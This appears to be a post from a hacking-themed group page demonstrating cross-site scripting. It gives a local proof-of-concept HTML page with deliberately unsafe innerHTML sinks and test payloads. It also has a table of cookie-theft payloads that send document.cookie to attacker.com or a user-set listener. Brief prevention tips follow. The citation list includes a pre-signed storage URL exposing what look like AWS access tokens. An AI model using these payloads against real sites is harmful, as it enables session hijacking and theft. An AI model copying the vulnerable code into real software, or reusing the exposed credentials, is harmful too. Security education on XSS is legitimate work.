top of page
Hooded hacker working on multiple computer screens showing 'Hacker'

VIPHACKER.100 Group

Public·66 members

Xss

## Local POC Setup

Save the code below as `xss-poc.html` and open it in a browser. Set a test cookie via developer tools (Application > Cookies > add `session=abc123`). This simulates the /login error page and a stored comments section.[3]


```html

<!DOCTYPE html>

<html>

<head><title>XSS POC Demo</title></head>

<body>

<h2>Reflected XSS (/login simulation)</h2>

<form>

<input id="error" placeholder="Enter param for reflection">

<button onclick="reflect()">Submit</button>

</form>

<div id="reflected"></div>


<h2>Stored XSS (Comments)</h2>

<input id="comment" placeholder="Enter comment">

<button onclick="store()">Post Comment</button>

<div id="comments"></div>


<script>

let comments = JSON.parse(localStorage.getItem('comments')) || [];


function reflect() {

const param = document.getElementById('error').value;

document.getElementById('reflected').innerHTML = `Login error: ${param}`;

}


function store() {

const input = document.getElementById('comment').value;

comments.push(input);

localStorage.setItem('comments', JSON.stringify(comments));

displayComments();

}


function displayComments() {

const div = document.getElementById('comments');

div.innerHTML = comments.map(c => `<p>${c}</p>`).join('');

}

displayComments();

</script>

</body>

</html>

```


## Test Reflected XSS

Enter `<img src=x onerror=alert('Reflected XSS')>` in the reflected input and submit. The payload executes immediately, simulating URL parameter injection on /login.[3][4]


## Test Stored XSS

Enter `<script>fetch('https://your-server.com/?c='+btoa(document.cookie))</script>` in comments and post. Refresh the page; the payload persists and "steals" cookies to your specified endpoint on every load.[1][2]


## Cookie Theft Payloads

Replace `https://your-server.com` with a listener like http://requestbin.com or ngrok for testing.


| Type | Payload Example |

|------|-----------------|

| Basic Alert | `<img src=x onerror=alert(document.cookie)>` [3] |

| Fetch Cookie | `<script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script>` [2] |

| Image Beacon | `<img src="https://attacker.com/?c=`+btoa(document.cookie)>` [web:10] |


## Prevention Tips

Encode outputs with HTML entities (e.g., `&lt;script&gt;`), use Content Security Policy, and sanitize inputs server-side. Test with tools like OWASP ZAP for your web dev projects.[5][6]


Citations:

[1] Lab: Exploiting cross-site scripting to steal cookies https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies

[2] How can stored XSS vulnerability lead to cookie stealing? https://www.linkedin.com/pulse/how-can-stored-xss-vulnerability-lead-cookie-stealing-motasem-hamdan-fo4vf

[3] reflected XSS - Cross-site scripting https://portswigger.net/web-security/cross-site-scripting/reflected

[4] Testing for Reflective XSS https://www.cobalt.io/blog/testing-for-reflective-xss

[5] Cross-site scripting (XSS) - Security | MDN https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS

[6] Trusted Types Demo - Modern XSS Prevention for Web Security https://www.trustedtypesdemo.com

[7] 22746.jpg https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/83173814/3e736e17-358a-486e-96f9-21bb2acf063b/22746.jpg?AWSAccessKeyId=ASIA2F3EMEYE7UHPX2H5&Signature=fp9zHmevpH17oDGFCLCTlXNvgNM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAoaCXVzLWVhc3QtMSJIMEYCIQC%2BmcoiOkmd6fwrenjUMwgmk04ob3Gof%2B%2Fy%2FfYiFb3h8wIhAOwfBMhc%2BvWsvVysD6xWMmwhhdnpA%2BeRcxSdVah5a6UiKvwECNP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQARoMNjk5NzUzMzA5NzA1Igz8Oxpbp1cW%2FOvRykYq0AQxcn0yv0%2B3W0TlqPT9S%2FCI3NQygmP5puojF2SSf%2BKoXYBFGix7NNf1q%2BY8%2F5dpL67gXnLTV7fUoEgRIjxiGFvpxLY7nrm80UV2PxuM5x1Rvww4CysAOx5oHXe9DmhMy91fyfhCwPxNeptDe9PvyVskQqpvh2F0%2F3pwJsw0TvEOnKTKegYUD%2Fhgh%2BP3eBq2Vhbz9Ea9o9uZB8s6uf%2FrN5Nvq2OtzBARTBqoTa%2Bcof4fDBkk7bVaU7ud3gTo637RTlsEX3SMRnhZ7PBwuPmJBz8IIIGt0i1yHfeF99bg0H86S6XkayHwyQGRPtZJA5DUlkhPwZc7MOF7oSyf9RZ8JT5QX5bkI%2BenlDsorUtP3LQ7hKUR7eDP%2BhKbflPDlCWmTkXeseWRng5pXjVkT%2F1qciPhJhPdY%2Bw7Wzz92izHVATX9KWRaCCuJUE8ovLP3cHG2zEVW02P8IfUjX%2FSI%2FMJyb3qqjc8aTnNv2qu08VyxUOta%2B%2F2nqDjyH3FSng%2B4jNm0r6fKbZo49RqQkgWuibSrytfZd1DQcva7dhiLmYH6rHSAkarw%2FVYF%2FIjbJnDI7FajCVrtWTZ2nAslYaGZhZL2CVkQcJe65CamXoFQLPiGmnr8oNlRbD1yrHTEbneERL0gbGvhbPgjGpOTka8N5BugMaR0Uk6cvHPrOhCFupgpNfQbgASz%2Ff27hkQxhpHMs1wKvCQ4mx0cgFQFIyEhQ0UqPWsBbMBuFsr8jVhKZUv19jq1VZvjiqkZtF2ah%2BOBEYjVW1g7Is1%2FJDSIXdUinefXWx3MMnqjcsGOpcBijC1fkCyPoPMmNGrNVnYRvhcREFltbKhyiTIwAeAJ0Yibn1J3a%2FeeSIZcsIla043z6cxrLx09wkxFOaCVLAVaunVV290pcO%2FCYu97TYS7FOtKKz5sBZveY1sL9BsJA%2FXv4wXYcbq%2FSdKTuw4EOthdSjOb8QM0gU9VscTFgNtiogqqo1k3eThBl%2BJBKgjSlu4pUPhDJZH2g%3D%3D&Expires=1768127076

[8] Stored XSS and stealing session cookies https://www.hakatemia.fi/en/courses/xss-cross-site-scripting/stored-xss-injection-and-stealing-cookies

[9] Cross Site Scripting (XSS) Exploit Paths - DevCentral - F5 https://community.f5.com/kb/technicalarticles/cross-site-scripting-xss-exploit-paths/275166

[10] How Can Stored XSS Vulnerability Lead to Cookie Stealing? Practical Training Scenario https://www.youtube.com/watch?v=G1HXWcKz7_E

[11] Reflected XSS via ref parameter on login https://www.bugbountyhunter.com/hackevents/report?id=267

[12] Cookie Stealing with XSS https://jamesonhacking.blogspot.com/2018/08/cookie-stealing-with-xss.html

[13] XSS Demo https://xss.benstafford.dev

[14] Cookie Hijacking https://www.invicti.com/learn/cookie-hijacking

[15] Cross Site Scripting (XSS) https://owasp.org/www-community/attacks/xss/

[16] practical XSS attack scenarios... https://pentest-tools.com/blog/xss-attacks-practical-scenarios

[17] Sanitizing Inputs https://brightsec.com/blog/reflected-xss/

3 Views

©2025-26 BY VIPHACKER.100 | ARYAN AHIRWAR

  • Linkedin
  • Facebook
  • Youtube
  • alt.text.label.Instagram
bottom of page